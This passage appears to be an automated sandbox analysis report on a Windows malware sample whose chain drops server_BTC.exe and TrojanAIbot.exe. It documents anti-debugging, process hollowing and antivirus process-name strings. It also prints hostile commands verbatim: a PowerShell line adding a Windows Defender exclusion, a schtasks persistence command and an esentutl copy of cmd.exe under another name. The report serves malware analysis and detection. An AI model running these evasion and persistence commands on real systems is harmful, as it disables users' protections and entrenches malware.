Source: neworigin.exe, 00000009.00000002.2350888427.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\x.exe	API call chain: ExitProcess graph end node			graph_0-32520
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EDF744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02EDF744

Source: C:\Users\user\Desktop\x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Code function: 8_1_10041361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_1_10041361

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02ED894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02ED894C

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_004BF794 mov eax, dword ptr fs:[00000030h]	8_1_004BF794
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10001130 mov eax, dword ptr fs:[00000030h]	8_1_10001130
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10043F3D mov eax, dword ptr fs:[00000030h]	8_1_10043F3D
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 24_1_004BF794 mov eax, dword ptr fs:[00000030h]	24_1_004BF794

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process token adjusted: Debug

Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_004015D7 SetUnhandledExceptionFilter,	8_1_004015D7
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_004015D7 SetUnhandledExceptionFilter,	8_1_004015D7
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10041361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_1_10041361
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 8_1_10044C7B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_1_10044C7B
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 24_1_004015D7 SetUnhandledExceptionFilter,	24_1_004015D7
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Code function: 24_1_004015D7 SetUnhandledExceptionFilter,	24_1_004015D7

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\x.exe	Memory allocated: C:\Users\Public\Libraries\lxsyrsiW.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Memory allocated: C:\Users\Public\Libraries\lxsyrsiW.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Memory allocated: C:\Users\Public\Libraries\lxsyrsiW.pif base: 400000 protect: page execute and read and write

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\x.exe	Section unmapped: C:\Users\Public\Libraries\lxsyrsiW.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Section unmapped: C:\Windows\System32\conhost.exe base address: 400000
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Section unmapped: C:\Users\Public\Libraries\lxsyrsiW.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\x.exe	Memory written: C:\Users\Public\Libraries\lxsyrsiW.pif base: 361008	Jump to behavior
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Memory written: C:\Users\Public\Libraries\lxsyrsiW.pif base: 31C008
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Memory written: C:\Users\Public\Libraries\lxsyrsiW.pif base: 3C1008

Source: C:\Users\user\Desktop\x.exe	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Code function: 8_1_10028550 GetVolumeInformationW,wsprintfW,GetLastError,GetLastError,GetUserNameW,GetLastError,GetLastError,GetUserNameW,LocalFree,AllocateAndInitializeSid,wsprintfW,SetEntriesInAclW,GetLastError,OpenMutexW,wsprintfW,

8_1_10028550

Source: C:\Users\user\Desktop\x.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02EC5ACC
Source: C:\Users\user\Desktop\x.exe	Code function: GetLocaleInfoA,	0_2_02ECA7C4
Source: C:\Users\user\Desktop\x.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02EC5BD8
Source: C:\Users\user\Desktop\x.exe	Code function: GetLocaleInfoA,	0_2_02ECA810
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	27_2_02D75ACC
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	27_2_02D75BD7
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: GetLocaleInfoA,	27_2_02D7A810

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\neworigin.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\server_BTC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\neworigin.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\server_BTC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\neworigin.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\server_BTC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EC920C GetLocalTime,

0_2_02EC920C

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

8_1_10028550

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02ECB78C GetVersionExA,

0_2_02ECB78C

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
